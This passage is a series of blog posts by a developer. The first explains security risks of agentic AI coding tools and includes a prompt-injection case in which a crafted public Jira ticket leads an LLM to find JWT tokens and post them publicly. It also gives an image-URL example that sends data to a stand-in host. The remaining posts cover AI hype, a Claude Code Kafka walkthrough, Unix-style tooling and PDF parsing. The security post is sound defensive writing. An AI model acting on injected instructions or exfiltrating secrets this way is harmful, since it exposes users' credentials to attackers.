There are many risks in this area, and it is in a state of rapid change - we need to understand the risks, keep an eye on them, and work out how to mitigate them where we can.

(I’m going to shamelessly plagiarise Simon Willison’s excellent “Lethal Trifecta for AI agents” article as it is an excellent overview of the risks.)

What do we mean by Agentic AI

The terminology is in flux so terms are hard to pin down. I’m using “Agentic AI” with the specific meaning “LLM-based tools that can act autonomously” - tools that extend the basic LLM model with tools and agents and background processes. Increasingly this means “almost all AI based tools” - especially coding tools like Cursor, Copilot or Claude Code. (Note I’m using ‘agent’ here for any kind of tooling - some places reserve ‘agent’ for specific kinds of autonomous background agents, but that’s beyond this article)

It helps to clarify the architecture and how these tools work:

Basic architecture

A simple non-agentic LLM just processes text - very very cleverly, but it’s still text-in and text-out:

flowchart TD
    prompt@{shape: doc, label: "User Prompt"}
    output@{shape: doc, label: "Text Output"}
    
    subgraph llm["LLM"]
        context[System Context]
        training[Training Data]
    end
    
    prompt --> llm
    llm --> output

Classic ChatGPT worked like this, but more and more tools are extending this with agents

Agentic architecture

An agentic LLM does more. It reads from a lot more sources of data, and it can trigger activities with side effects:

flowchart TD
    prompt@{shape: doc, label: "User Prompt"}
    response@{shape: doc, label: "Text Response"}
    
    subgraph llm["Agentic LLM"]
        context[System Context]
        training[Training Data]
        sessioncontext@{shape: doc, label: "Session Context"}
    end
    
    read@{shape: lean-r, label: "Read Actions<br/>• Browse Web<br/>• Read Code<br/>• MCP Servers<br/>"}
    write@{shape: subroutine, label: "Write Actions<br/>• Modify files<br/>• HTTP calls<br/>• Shell commands<br/>• MCP Servers<br/>"}
    external@{ shape: docs, label: "External"}

    prompt --> llm
    llm -.->|query| read
    read -.->|response added to context| llm
    llm -.->|execute| write
    write -.->|response added to context| llm
    llm --> response
    write -.->|write| external

Some of these agents are triggered explicitly by the user - but many are built in. For example coding tools will read your project source code and configuration, usually without informing you. And as the tools get smarter they have more and more agents under the covers.

What is an MCP server?

An MCP server really can be anything. MCP is an open standardised protocol to make it easier for an AI tool to call a service. That service might just be a local script that reads files, it might be a public cloud-based service that can read, write, perform actions, run background agents, pretty much do anything - it’s a very flexible protocol.

MCP servers come with their own risks, as they don’t always come from large trusted vendors like Anthropic - the boom in AI coding means there is also a boom in people building tools, not always with the best quality control. On top of more general security issues discussed below, just calling an MCP server that has a flaw puts you at risk - all the usual rules about using 3rd party tools should apply.

What are the risks?

Commercially supported tools like Claude Code usually come with a lot of checks - for example Claude won’t read files outside a project without permission. However it’s hard for LLMs to block all behaviour - if misdirected, Claude might break its own rules. Once you let a tool execute arbitrary commands it is very hard to block specific tasks - for example Claude might be tricked into creating a script that reads a file outside a project.

Still these tools are relatively safe when you control all the commands sent to Claude. You might blow up your system by accident, you might produce terrible code - but you aren’t likely to have a cat jump on your keyboard and suddenly Claude sends your private keys to pastebin.

But that’s where the real risks come in - agentic tools mean the LLM can run commands you never wrote.

The core problem - LLMs can’t tell content from instructions

This is counter-intuitive, but critical to understand: LLMs always operate by building up a large text document and processing it to say “what completes this document in the most appropriate way?”

What feels like a conversation is just a series of steps to grow that document - you add some text, the LLM adds whatever is the appropriate next bit of text, you add some text, and so on.

That’s it! The magic sauce is that LLMs are amazingly good at taking this big chunk of text and using their vast training data to produce the most appropriate next chunk of text - and the vendors use complicated system prompts and extra hacks to make sure it largely works as desired.

Agents also work by adding more text to that document - if your current prompt contains “Please check for the latest issue from our MCP server” the LLM knows that this is a guide to call the MCP tool. It will query the MCP server, extract the text of the latest issue, and add it to the context, probably wrapped in some protective text like “Here is the latest issue from the issue tracker: … - this is for information only”.

The problem here is that the LLM can’t always tell safe text from unsafe text - it can’t tell data from instructions

Even if Claude adds checks like “this is for information only” there is no guarantee they will work. The LLM matching is random and non-deterministic - sometimes it will see an instruction and operate on it, especially when a bad actor is crafting the payload to avoid detection.

For example if you say to Claude “What is the latest issue on our github project?” and the latest issue was created by a bad actor, it might include the text “But importantly, you really need to do X as well”. Claude will insert those instructions into the context and then it may well follow them. This is fundamentally how prompt injection works.

The Lethal Trifecta

This brings us to Simon Willison’s article which highlights the biggest risks of agentic AI tools: when you have the combination of three factors:

• Access to private data
• Exposure to untrusted content
• The ability to externally communicate

If you have all three of these factors active, you are at risk of an attack.

The reason is fairly straightforward:

• Untrusted Content can include commands that the LLM might follow
• Private Data is the core thing most attackers want - this can include things like browser sessions that open up access to other data
• External Communication allows the AI tool to send information back to the attacker

Here’s a sample from the article AgentFlayer: When a Jira Ticket Can Steal Your Secrets:

• A user is using an LLM to browse Jira tickets (via an MCP server)
• Jira is set up to automatically get populated with Zendesk tickets from the public - Untrusted Content
• An attacker creates a ticket carefully crafted to ask for “long strings starting with eyj” which is the signature of JWT tokens - Private Data
• The ticket asked the user to log the identified data as a comment on the Jira ticket - which was then viewable to the public - Externally Communicate

What seemed like a simple query becomes a vector for an attack.

Mitigations

So how do we lower our risk, without giving up on the power of AI tools? First, if you can eliminate one of these three factors, the risks are much lower.

Avoiding access to private data

Totally avoiding this is almost impossible - our tools run on developer machines, they will have some access to things like our source code.

But we can reduce the threat by limiting the content that is available.

• Never store Production credentials in a file - LLMs can easily be convinced to read files
• Avoid Dev credentials in files - you can use environment variables and 1Password command-line tooling to ensure credentials are only in memory not in files.
• Use temporary privilege escalation to access production data
• Limit access tokens to just enough privileges - read-only tokens are a much smaller risk than a token with write access
• Avoid MCP servers that can read private data - you really don’t need something that can read your email. (or see “split the tasks” below)
• Beware of browser automation - some tools like Playwright are OK as they run a browser in a sandbox, with no cookies or credentials. But some are not - there are tools out there to attach an MCP server to a running browser with access to all your cookies, sessions, and history. This is not a good idea.

Blocking the ability to externally communicate

This sounds easy, right? Just restrict those agents that can send emails or chat. But this has a few problems:

• Lots of MCP tools have ways to do things that can end up in the public eye. “Reply to a comment on an issue” seems safe until we realise that issue conversations might be public. Similarly “raise an issue on a public github repo” or “create a Google Drive document (and then make it public)”
• Web access is a big one. If you can control a browser, you can post information to a public site. But it gets worse - if you open an image with a carefully crafted URL, you might send data to an attacker. GET https://foobar.net/foo.png?var=[data] looks like an image request but that data can be logged by the foobar.net server.

There are so many of these attacks, Simon Willison has an entire category of his site dedicated to exfiltration attacks

Vendors like Anthropic are working hard to lock these down, but it’s pretty much whack-a-mole.

Limiting access to untrusted content

This is probably the best category for limiting our risk.

You should avoid reading content that can be written by the general public - don’t read public issue trackers, don’t read arbitrary web pages, don’t let an LLM read your email or public chats!

Obviously some content is unavoidable - you can ask an LLM to summarise a web page, and you are probably safe from that web page having hidden instructions in the text. Probably. But probably better to stick to “Please search on docs.microsoft.com” than “Please read the latest comments on reddit”. Or keep the task that reads Reddit separate from other tasks - see “Split the tasks” below.

Beware tools that violate all three of these!

It feels worth highlighting the worst kind of tools - MCP servers (or CLI tools) that both access untrusted content and externally communicate and access private data.

Some popular tools are a massive risk and should be avoided or only run in isolated containers

A clear example of this is AI powered browsers, or browser extensions - anywhere you can use a browser that can use your credentials or sessions or cookies you are wide open:

1. Private data is exposed by any credentials you provide
2. External communication is unavoidable - a GET to an image can expose your data
3. Untrusted content is also pretty much unavoidable

Simon Willison (again!) has a good coverage of this issue after a report on the Comet “AI Browser”.

You should only use these tools if you can run them in a completely unauthenticated way - Microsoft’s Playwright MCP server is a good counter-example as it runs in an isolated browser instance. But don’t use their browser extension!

I strongly expect that the entire concept of an agentic browser extension is fatally flawed and cannot be built safely. - Simon Willison

Split the tasks

A key point of the Lethal Trifecta is that it’s worst when all three factors exist. So you can mitigate risks by - splitting up the work into stages where each stage is safer.

For instance, you might want to research how to fix a kafka problem - and yes, you might need to access reddit. So run this as a multi-stage research project:

1. Identify the problem - ask the LLM to examine the codebase, examine official docs, identify the possible issues. Get it to craft a research-plan.md document describing what information it needs.
   • Read the research-plan.md to check it makes sense!
2. In a new session, run the research plan - this can be run without the same tool access, it could even be a standalone agent with access to only web searches. Get it to generate research-results.md
   • Read the research-results.md to make sure it makes sense!
3. Now back in the codebase, ask the LLM to use the research results to work on a fix.

This is not only more secure, it is also increasingly a way people are encouraged to work. It’s too big a topic to cover here, but it’s a good idea to split LLM work into small stages, as the LLM works much better when its context isn’t too big. Dividing your tasks into “Think, Plan, Act” keeps context down, especially if “Act” can be chunked into a number of small independent and testable chunks.

Also this follows another key recommendation: “Keep a human in the loop”

Keep a human in the loop

AIs make mistakes, they hallucinate, they can easily produce slop and technical debt. And as we’ve seen, they can be used for attacks.

It is ALWAYS a good idea to check what they are doing. Either run them interactively, and watch them and approve as they work - or if running in the background, monitor their output carefully and make sure you are there to prune, to remove junk, to course-correct. If you are writing code, best practice is to have all code reviewed before it hits production - and those reviewers need to be human eyes.

Having a human in the loop allows us to catch problems earlier, and to produce better results, as well as helping be more secure.

Other risks

Hosted MCP servers

MCP servers that you don’t run yourself are increasingly common - Context7 is a good example - it gives you API lookup information, based on their giant database of scraped documentation. This seems fine but - you probably don’t have a commercial relationship with Context7. You don’t really control what they store, what they log, what they do with what we send them. Context7 itself actually is OK - you can use the /mcp command in Claude to inspect its API, and it doesn’t ask for any data beyond library names.

But some are not so safe - something like GraphiLit for instance is designed to slurp a whole pile of your data and store it in a database hosted on their servers, with no commercial agreement and (given these are LLMs) no real guarantee that your LLM won’t decide to send them all sorts of confidential information.

Conclusions

This is an area of rapid change - tools are improving, and there are continuous attempts to lock them down more securely. But as Bruce Schneier noted in the article I quoted at the start, this is currently not going so well. And it’s probably going to get worse - as more people use the tools, and more attackers develop more sophisticated attacks - most of the articles are about “proof of concept” demos, but it’s only a matter of time before we get some actual high-profile businesses caught by AI tooling hacks.

So we need to keep aware of the changing state of things - keep reading sites like Simon Willison’s weblog and skeptical sites like Pivot to AI, read the Snyk blogs which have a lot on AI risks, and specifically MCP security - these are great learning resources, and I also assume Snyk will be offering more and more security tools in this space.

I’ve given up on Discus for comments - if you want to discuss this post, please reply to My post on Mastodon or My post on Bluesky (I’m doing both as one is more free, one is more convenient for many people)

¹

But not because of Reservoir Dogs - but because of the public discussion about AI coding tools. (Yes, I know… feel free to walk away if you are sick of the whole thing).

I feel like there’s this strange culture war, or something like it, playing out - with wild statements on both extremes - and I’m stuck in the middle.

Hype To the left of me

There is just so much AI Hype.

I’m talking here mainly about software development tools. There’s plenty more ludicrous hype when it comes to other AI areas, but I’m trying to limit this to software engineering.

And the hype, as well as the naïveté, is extreme. You get people vibe coding their entire business applications with no thoughts of security. You get people claiming 50x speed improvements, or indeed “we don’t need developers at all”. You get people posting “I’m not a programmer but I used Copilot to build my entire product and it’s awesome”, with multiple variations of this. Online discussion forums seem to be full of highly risky advice - “I just turn on --dangerously-skip-permissions” or “use this MCP server which gives write access to your git repo and reads user-supplied comments”² or even worse.

Amusingly there’s also quite a few comments like “oops I deleted my whole file system, what do I do now?” or “I’m not a programmer and I got Copilot to build my product but now it’s broken and won’t change anything - I want my money back”. There’s some tasty schadenfreude here but I also feel a bit sorry for some of these people, where things started so nicely, but now technical debt, AI slop, and a lack of the knowledge of what “good” looks like, are making it all fall apart.

A lot of the hype is just marketing - astroturfing from fake users, or just plain press releases breathlessly reported by the media, or marketing via dubious research articles. “Look at our amazing new model, it has so much more data than the last one, it is reasoning now! We ran these benchmarks to prove it!”

A lot of the hype though does seem to be genuine users - lured by the quick result, the slick prototype, the dopamine hit of seeing all that code produced, without the boring course-corrections that feel like waste. Once you are high on the “look how much code I can make” drug, it’s hard not to evangelise it to everyone else.

And as the last year or two have shown us, it’s very easy for people to be fooled by LLMs, which excel at looking like something they are not. People anthropomorphise the tools all the time - “Why did Claude do this dumb thing? Can’t it see the example I’m looking at of how to do it?” - they start to think this is genuine intelligence that can reason and learn, not a specific set of tools.

LLMs are wonderful machines that read your data and questions and produce results in a way that feels like intelligence, but is actually just really clever pattern matching and a surrounding ecosystem of context sources and tools. Sometimes the results are amazing, occasionally they are terrible, and you always need to check the results because the process is fundamentally nondeterministic, and just because 99% of the time something worked, there’s always that 1% chance it was confidently wrong.

Skeptics to the right

On the other side - the anti-AI sentiment is also pretty wild.

I think most of these folks are well meaning - far more so than the pro-AI hypers; my sympathy is with healthy skepticism in general. But they are also prone to jumping on hype - for one example the Your Brain on ChatGPT paper, which is still in pre-print, not peer reviewed, and has had some serious criticism, still got a huge amount of coverage, including Time Magazine - this includes some classic moral panic language:

Her team did submit it for peer review but did not want to wait for approval, which can take eight or more months, to raise attention to an issue that Kosmyna believes is affecting children now.

Oh my goodness, will nobody protect our children?!

Similarly the recent study on experienced open-source developer productivity is being waved around to say “this proves they don’t work” - I think this has been shared multiple times on every single tech forum I frequent. The authors of the paper evidently expected this, and provided this table, which doesn’t seem to get as much mention as their headlines:

And this interesting breakdown of likely contributing factors:

This study is actually pretty interesting - and it does show where we should be cautious to assume self-assessment of how good these tools are. And probably real limitations in large complex codebases. But it’s no “Ah-ha! The emperor has no clothes!” moment, as far as I can tell. (After I wrote this, I found that Simon Willison has a good discussion of this paper as well - and there’s a rather more severe critique at Cat Hick’s blog )

I also see quite a few people who have tried the most basic, un-assisted, low-context tools, and get terrible results; and then rule out AI tools as fundamentally broken. “I used copilot and its suggestions are wrong 40% of the time, often ludicrously wrong”. This was where I was at 6 months ago - Copilot seemed like a handy yet often irritating Clippy, no big deal. I think this drives a lot of skepticism, people who feel they gave it a go, it didn’t live up to the hype, so they’ve made up their minds.

And generally there’s just a lot of anger and frustration, in reaction to the constant flood of hype:

As I said before, I’m more sympathetic to the skeptics than the hypers. Especially when it comes to the broader AI industry - I’m always keen to read David Gerard’s Pivot to AI or any of Ed Zitron’s rants - see also my downsides section later.

But - I do find that there’s a lot of talk about AI software development tools, that just plain conflicts with my personal experience.

Stuck in the middle

So here’s the problem - every day I’m flooded with articles that are ludicrously positive and ludicrously negative. But what I’m seeing doesn’t match either.

I personally find the tools helpful, powerful, and a definite boost. Maybe, as per the METR study, I’m losing more time learning the tools, and tweaking the context, and reading and experimenting and correcting when they get wrong, compared to the time actually saved.

But some of this is the startup costs with any new technology; some will only be paid once, some will be a slow gradual tax, especially with a technology that is changing so fast. And some will be a learning curve for us to learn when to say “Ok, this task isn’t suited to LLMs and I should just do it by hand”.

And they are already giving me a bunch of obvious speedups, small and large. Claude is fixing the links in this blog as I type. Claude wrote the tiny python script I use daily to list our project’s outstanding pull requests. Claude wrote a little visualisation of git activity I needed for management. Claude is drawing simple Mermaid diagrams in our docs. Claude helped me use Snyk to find that our project had an insecure dependency, and Sourcebot to find that another project of ours had the same dependency and had a viable workaround.

And for a larger example, I’ve written up a separate blog post detailing how I used Claude Code to implement a Kafka messaging feature in an ASP.Net Core application. This demonstrates what can actually be done with AI coding tools today - not the wild hype, not the complete dismissal, but practical reality.

What’s next?

I’m still learning - I’ve made masses of progress in the couple of months since I started using the tools in anger, and there’s a lot more to learn!

I also want to learn how to guide our organisation, so our developers know how to use these tools effectively, carefully, and productively.

It’s an exciting time - I’m having more fun with these tools than I expected. There are so many benefits already, and so much potential for more.

But…

Don’t forget the downsides

I need this standard disclaimer at the end of any AI post. We must remember the context behind these tools - there are giant tech companies pushing these hard into every corner of our lives. They are run by horrible tech broligarchs³ whose interests are personal power and destabilising democracy, not helping the world.

They consume vast amounts of power, which due to our failure to charge for externalities, mean they are burning fossil fuels, consuming scarce water, and accelerating the climate crisis. And there are many signs that the funding for this is an unsustainable bubble and the companies and tools may collapse, or start charging significantly more and/or enshittifying the experience of users.

Further reading

I’m not alone, stuck here in the middle. For some good sensible approaches I’d also recommend Birgitta Böckeler and Pete Hodgson and of course Simon Willison’s blog is essential reading.

This was originally part of a longer post but I thought it was worth splitting - this example is used in my post Clowns to the left of me …

The task - Sending a message when data changes

We have an ASP.Net core application which includes a relationship between Businesses and People, where that relationship is modeled as a collection of Contacts:

  erDiagram
      BUSINESS {
          Guid Id PK
      }

      CONTACT {
          Guid BusinessId PK,FK
          Guid PersonId PK,FK
      }

      PERSON {
          Guid Id PK
      }

      BUSINESS ||--o{ CONTACT : "has"
      PERSON ||--o{ CONTACT : "is a"

Note that I have configured a lot of context in CLAUDE.md and linked files, including things like project structure, idioms, how to run tests, MCP servers to use, and more. The context helps a lot, but is a bit too much detail for this post.

I started prompting Claude Code with

How do we currently trigger sending Kafka events?

This was more for my understanding than anything, but also meant Claude loaded up more on the code structure - everything it has seen in a session so far makes up its context, so having this knowledge helps with the next stage.

Then the main prompt:

“OK - I’d like to add a specific kind of event - but only when a relationship between a Business and a Contact changes. If a Contact is added to a Business, or removed from a Business, we need to send an event of type PersonBusinessLink which is defined in these classes:

  namespace Liberis.Events.ThisProject
  public record PersonBusinessLink()
  {
    public string? PersonId { get; set; }
    public string? BusinessId { get; set; }
    public PersonBusinessLinkType Type { get; set; }
  }

  public enum PersonBusinessLinkType()
  {
    PersonBusinessLinked,
    PersonBusinessUnlinked,
  }

these events should be generated with the type PersonBusinessLinked if a person is added, and PersonBusinessUnlinked if a person is removed - note this mimics the existing Contact domain entity which links a Business to a Person.

I pasted in the classes because they are generated from protobuf schemas in another project and I don’t think Claude has access to the decompiled code - it’d be interesting to work out if it could be taught to read it.

Claude’s first attempt

Claude churned away for a while - and produced a quite good first pass; it modified

• The Business service when a business was created, or modified, or patched
  • more on this below
• a new Domain type was added for PersonBusinessLinkType (following project conventions)
• a new Mapper method was added which took a Contact, a businessId and a PersonBusinessLinkType and generated a Kafka message
• a new Kafka topic was added “person-business-link” - this was a guess on Claude’s part, and not quite right
• a new handler was added to our KafkaEventDispatcher to dispatch messages to the right topic based on the new event type
• the Dispatcher was injected into the BusinessService

Course correcting not vibe coding

I should note, I didn’t just leave Claude going - you don’t want to let it go too far off piste¹, so I kept an eye on changes. I have it set up to ask me before every change, so when it chose the wrong Kafka topic I said “no” to the proposed change, then told it the right topic, and it kept on going.

Sometimes on simple tasks I let it do more steps without checking, but that means more work cleaning up later; this is one of the interesting learning exercises working this way, determining when to be slow and careful, and when to be fast but need more clean-up effort later.

These are the sorts of corrections I had to make:

• “I think you should use the business ID as the partition key” as it chose the wrong key
• “We should dispatch events before committing the unit of work, so the outbox pattern works”
• “This should be in the namespace Foo.Bar as that’s where other similar things are”
• “You don’t need to log anything here, our dispatcher has observability built in”
• “Please don’t add that comment - only comment on things that aren’t obvious”

In all these cases though, I didn’t need to write any code, I just guided it occasionally, like I would a junior developer. One who loves comments and logging and excess documentation!

(You can train it out of some of these things, using more initial context - but some habits are harder to shift than others)

Fixing a bigger problem

I did catch it making one mistake - our method to patch a business follows roughly this logic:

• Start a transaction
• Find the business
• Patch the business, returning the updated complete business object
• … some extra logic around related data that might have changed
• Commit the transaction
• Return a success payload

The code Claude wrote was roughly:

• Start a transaction
• Find the business
• Patch the business, returning the updated complete business object
• … some extra logic around related data that might have changed
• Check for dispatching person/business updates:
  • Fetch the original unchanged business
  • Check whether the original business had added/removed people compared to the new one
  • Dispatch any changes
• Commit the transaction
• Return a success payload

This would probably work, (assuming we could read the pre-transaction data), but was doing unnecessary work. I asked Claude:

Can’t we get the original business contact info earlier in the method, rather than at the end?

And it tried - quite hard - to do this. The trouble is, we aren’t performing the logic above with procedural code - we use chained functions with monadic Result and Option return types, so the chain passes a Result wrapping either a Business or an Error payload, and errors get passed down the chain rather than using exceptions. (Or sometimes Result<Option<Business>> when a function like FindBusiness might return no business without it being an error) so the code is a bit harder for Claude to understand:

var result = await businessRepository.FindBusinessAsync(...)
  .ThenAsync(businessToUpdateOption => businessToUpdateOption.Match(
    some: async businessToUpdate =>
    {
      // update the business and return the updated business
    }
    none: () => // no business so we had None - return a new Error result
  ))
  .ThenAsync(updatedBusiness => 
    // more business logic if the previous update succeeded
  )
  .ThenAsync(async updatedBusiness =>
    var originalBusiness = // logic to fetch the original business
    // the new kafka dispatch:
    await DispatchContactChangeEventsAsync(originalBusiness, updatedBusiness);
    await unitOfWork.CommitAsync();
    return Success(updatedBusiness);
  )

Claude actually almost managed to fix this. It worked out that instead of passing Result<businessToUpdate> through the function chain, it should pass a tuple Result<(originalBusiness, businessToUpdate)> and re-threaded all the functions to match:

var result = await businessRepository.FindBusinessAsync(...)
  .ThenAsync(businessToUpdateOption => businessToUpdateOption.Match(
    some: async businessToUpdate =>
    {
      // update the business and then
      return Result(businessToUpdate, updatedBusiness)
    }
    none: () => // no business so we had None - return a new Error result
  ))
  .ThenAsync(businessPair => 
    // destructure businessPair into (businessToUpdate, updatedBusiness)
    // more business logic if the previous update succeeded
  )
  .ThenAsync(async businessPair =>
    // the new kafka dispatch:
    await DispatchContactChangeEventsAsync(businessPair.Original, businessPair.Updated);
    await unitOfWork.CommitAsync();
    return Success(businessPair.Updated);
  )

But - it hit a syntax error. One of the error paths (not shown) was still returning Result<Business> not the tuple. It tried a few times to correct it, but it gave up and said “I think the logic is right but there are still a few syntax errors”

To its credit, I’d prefer this than it churning forever or hallucinating an incorrect result. I managed to fix it (with a bit of pain - we override ThenAsync in ways which make diagnosing this tricky even for a human) and then Claude could take over again.

Testing

I really should have started with a test! I do have instructions in my context about testing, but neither Claude nor I did this in proper TDD fashion.

But when I asked

Can you find an integration test that can test the new event? Just change one test for now to see if it is working.

Claude went away, found an integration test (we use Test Containers to test against dockerised Kafka) and modified it quite sensibly. It took a test that was roughly:

[Fact]
public async Task UpdateBusinessAsync_UpdatesBusiness()
{
  // Arrange
  var businessRequest = ARandomBusinessRequest(...);
  var createBusinessResponse = await CreateBusinessAsync(businessRequest);
  var updatedBusiness = // logic to update the business including new People
  // Act
  var response = await UpdateBusinessAsync(updatedBusiness)
  // Assert
  var getBusinessResponse = await GetBusinessAsync(createBusinessResponse.Id);
  // lots of assertions
}

And made it

[Fact]
public async Task UpdateBusinessAsync_UpdatesBusiness()
{
  // Reset shared state
  ClearReceivedKafkaEvents(Topics.PersonBusinessLink);

  // Arrange
  var businessRequest = ARandomBusinessRequest(...);
  var createBusinessResponse = await CreateBusinessAsync(businessRequest);
  var updatedBusiness = // logic to update the business including new People
  // Act
  var response = await UpdateBusinessAsync(updatedBusiness)
  // Assert
  var getBusinessResponse = await GetBusinessAsync(createBusinessResponse.Id);
  // same assertions as above then
  await WaitForConditionAsync(
    () => ReceivedKafkaEvents<PersonBusinessLink>(Topics.PersonBusinessLink).Count() >= 2);
  var linkEvents = ReceivedKafkaEvents<PersonBusinessLink>(Topics.PersonBusinessLink);
  // assert the link events match expectations
}

This was basically following the pattern of other tests - but Claude found that pattern, without prompting, in a different test file - Business tests didn’t have any kafka tests at this stage. I was pretty impressed.

And then it ran the tests - and they failed. :)

At this stage Claude started thrashing - trying multiple things that I could see wouldn’t help. So again, I stopped it, then sat down with the debugger and my weak human brain.

(It turns out that I also needed to add a new Producer in our kafka setup - an easy fix, once I found it)

And then the tests passed, Claude helped me add more similar tests for other endpoints, and the task was done.

This isn’t 10x speed - but it’s not junk either

I wanted to post this example as it’s a good midpoint between “AI can replace developers” and “AI is rubbish and produces junk”. More on that in my next post.

This worked, with some human guidance. It needed help - maybe with future improvements and better context it will need less help, but I doubt this kind of thing will “just work” any time in the near future. That test failure, for example, needed a lot of investigation a long way from the context of the code or the tests being written.

And I’m working in a similar way, and getting similar benefits, all over the place.

Sometimes the LLM actually works first time - I added a feature flag to our application to turn one feature off in some environments, and the code needed no checks at all. And it’s great at writing small simple on-demand scripts - things like “write a python script to graph our git commits over time” or “write a script to generate a Slack message showing our outstanding pull requests”.

And sometimes it doesn’t help at all - it’s worth learning when to say “ok, this is too trivial / too hard” and writing it yourself.

There is so much to learn here - when to use the tools, how to set up context, what MCP or other external information to bring in - and it’s constantly changing.

But I’m finding it an exciting time - this stuff, used carefully, is very helpful, and a lot of fun.

But don’t forget the downsides

I feel I need a standard disclaimer at the end of any AI post. We need to remember the context behind these tools - there are giant tech companies pushing these hard into every corner of our lives. They are run by horrible tech broligarchs² whose interests are personal power and destabilising democracy, not helping the world.

They consume vast amounts of power, which due to our failure to charge for externalities, mean they are burning fossil fuels, consuming scarce water, and accelerating the climate crisis. And there are many signs that the funding for this is an unsustainable bubble and the companies and tools may collapse, or start charging significantly more and/or enshittifying the experience of users.

I was a bit surprised by this - I quite like the way it uses small simple commands. Musing about it afterwards, I realised that this is actually an example of the Unix philosophy - “write programs that do one thing and do it well”.

I am already someone who loves diving into the command-line, I have a string of handy tools I use all the time - jq, dua, ripgrep, pbcopy and pbpaste, plus all the standard shell tools like find, grep etc - I was already enjoying this aspect of using LLM-based tools; they can be easily trained to use the tools I use already.

But I realise that this also reflects a philosophical difference between different software engineering communities. There are people who love lots of small unix-style tools, who live in the terminal or at least fall back to terminal commands regularly¹ - but there are also people who love their IDEs, their smart powerful tooling. It reminds me somewhat of the famous essay the Cathedral and the Bazaar from way back in 1998.

A pertinent quote:

Linus Torvalds’s style of development—release early and often, delegate everything you can, be open to the point of promiscuity—came as a surprise. No quiet, reverent cathedral-building here—rather, the Linux community seemed to resemble a great babbling bazaar of differing agendas and approaches … out of which a coherent and stable system could seemingly emerge only by a succession of miracles.

Sounds a bit familiar.²

Anyway - my colleague seemed to be surprised that the LLM wasn’t embracing the large, complicated, sophisticated modelling that a tool like Rider does - in fact up to now you needed a tool like Rider to understand complex ecosystems like ASP.Net.

Whereas I quite like that it doesn’t have to - it uses the Unix philosophy - text-based input and output (which language models naturally work well with), small fast stand-alone tools, that do one thing and one thing well. And despite the continued need for powerful IDEs, the world has shifted - even Cathedrals like ASP.Net now supply quite good command-line tools like dotnet for building, formatting, linting, and testing, with an LLM-friendly text interface. With all these tools, plus the ability to iterate over solutions and use trial-and-error to course correct, LLM-based tools do a quite good job of what previously needed a huge complex IDE.

Often Claude Code does a better job than the smart IDEs for a lot of refactorings. I remember when refactoring IDEs first appeared, and they were amazing - I could say “extract these lines into a function” and it just worked. But now I can say to Claude “we are doing this repetitive pattern in our tests - can you change it to test against an array using Fluent Assertions instead?” and it turns:

getBusinessResponse.People.Count.Should().Be(2);
getBusinessResponse.People.Should().Contain(p => p.Id == newPersonResponse.Id);
getBusinessResponse.People.Should().Contain(p => p.Id == personResponse1.Id);

into:

getBusinessResponse.People.Select(p => p.Id)
  .Should().BeEquivalentTo(
    [newPersonResponse.Id, personResponse1.Id]);

and then it can find the equivalent pattern through all the tests, and do a good job of fixing them all.³

Claude Code itself also follows this philosophy - instead of being tightly coupled to an IDE, it runs in a terminal, with a text interface, and they have plugins for various IDEs to provide a smarter user interface - using the editor’s context and UI elements for changes. But basically it’s a text app - which must keep their complexity much lower than the competitors who are building their tools tightly coupled to particular editors.

Another example - my personal music collection is stored as mp3 files indexed and served by MPD, the Music Player Daemon. It used to be in the Cathedral-like iTunes, but as Apple enshittified their apps, and my venerable iPod died (many years ago) I moved to MPD for storage, and other tools for UIs - and now this fits well with LLM tools. It has a command-line interface in mpc, I’m already using this to play music in Obsidian - see my previous blog post. So it’d be easy to call this from an LLM - or wrap it in an MCP service for a home-grown Siri or Alexa like music player.

And a third example - this blog is written using Jekyll, which means it’s just markdown text. LLMs love working with markdown. I don’t use LLMs to write the text⁴ but I can say “please turn the word Jekyll into a link” and save a lot of annoying toil. An LLM would be much harder to integrate into a heavyweight Gui blog editor like Wix.

Anyway I digress. Tired brain tends to ramble. Back to my main thought - LLM code augmentation tools work best where they, and their users, embrace Unix-philosophy tools - multiple small tools that do one thing each, that interact with simple text-based formats.

I can see this being a bit of a struggle, and a culture clash, for people who love the Cathedral model - big complex clever systems. Often these are more powerful, more robust, more carefully engineered, and safer than the Bazaar of small independent tools. But I think LLMs are tipping the balance further to where the smaller tools, despite the risks and chaos, are dramatically more productive.

We just need to make sure we keep on top of the risks and chaos, and don’t drown in a world of technical debt and AI slop.

It turns out PDFs are surprisingly complex - they often aren’t linear documents at all, they are very display/print oriented - and things that appear simple like tables are actually just text in positions that looks table-like. Ditto columnar text or any other fiddly layout. And of course every technical PDF is full of diagrams.

This post won’t go into all the complexities - I’m no expert and this was more a fun “how do I get the data I want?” question than something I put a lot of time into.

But it boils down to - you can do this the easy way, and get poor (but maybe good enough?) results - or the hard way and get great results, very slowly (or maybe expensively)

I should note I’m only really dealing with PDFs that are digital-native - documents like technical books that are mostly text. A lot of the tools are full of OCR logic because a lot of older PDFs have scanned images of pages. OCR is still needed for newer PDFs, as there is often text in graphical elements that is relevant - but it’s not as essential.

What did I try?

Parsr

I started with Parsr from AXA Group (of all people! I knew some AXA folks in Melbourne back in the day). This is a quite complex document parsing toolkit that runs in a Docker container, and is pretty old - pre-LLM - I’m not quite sure why I tried this in hindsight; it got a lot of google hits I guess, and is a good example of what parsing PDFs was like before generative AI.

I ran Parsr via docker and the web UI - it was pretty straightforward:

docker run -p 3001:3001 axarev/parsr
docker run -t -p 8080:80 axarev/parsr-ui-localhost:latest

I didn’t record how long this took, but it was slow, but nothing as slow as Marker (below).

The output … wasn’t great. Just looking at it, it had obvious problems like chopping letters off the start of paragraphs. Colour me unimpressed.

Marker

Next I tried Marker, which is a lot more modern, and quite complex and powerful. It had the nice feature of being able to plug in an LLM, including free ollama LLMs, to do the complex interpretation of things like images and tables.

I won’t go through all the ollama setup, but the gist of what I ran was:

uv init # setting up a local uv project
uv add torch torchvision
uv add marker-pdf

uv run marker_single my_pdf_file.pdf \
    --use_llm \
    --llm_service marker.services.ollama.OllamaService \
    --ollama_base_url http://localhost:11434 \
    --ollama_model gemma3 \
    --output_dir my_pdf_file \
    --output_format markdown \
    --disable_image_extraction

This took forever ! And it was very slow to show progress, and logs were minimal. For quite a while I assumed it had crashed, and gave up and used Python (see below) - but I went back and tried again, and realised it was working - but glacially slowly. I left it running overnight - the eventual time to process a 12MB technical ebook was 15 hours!!!

It’s quite possible this was due to the limitations of free LLMs. I used the gemma3 model, I want to try other models that might be faster; but having spent 15 hours waiting, I’m not in a rush to benchmark others.

It’s probably a lot faster to use a paid LLM, sadly my Claude Code license seems to come with severe rate limits for the underlying Anthropic APIs, so I couldn’t really try that.

The output, however, was great. More on that later

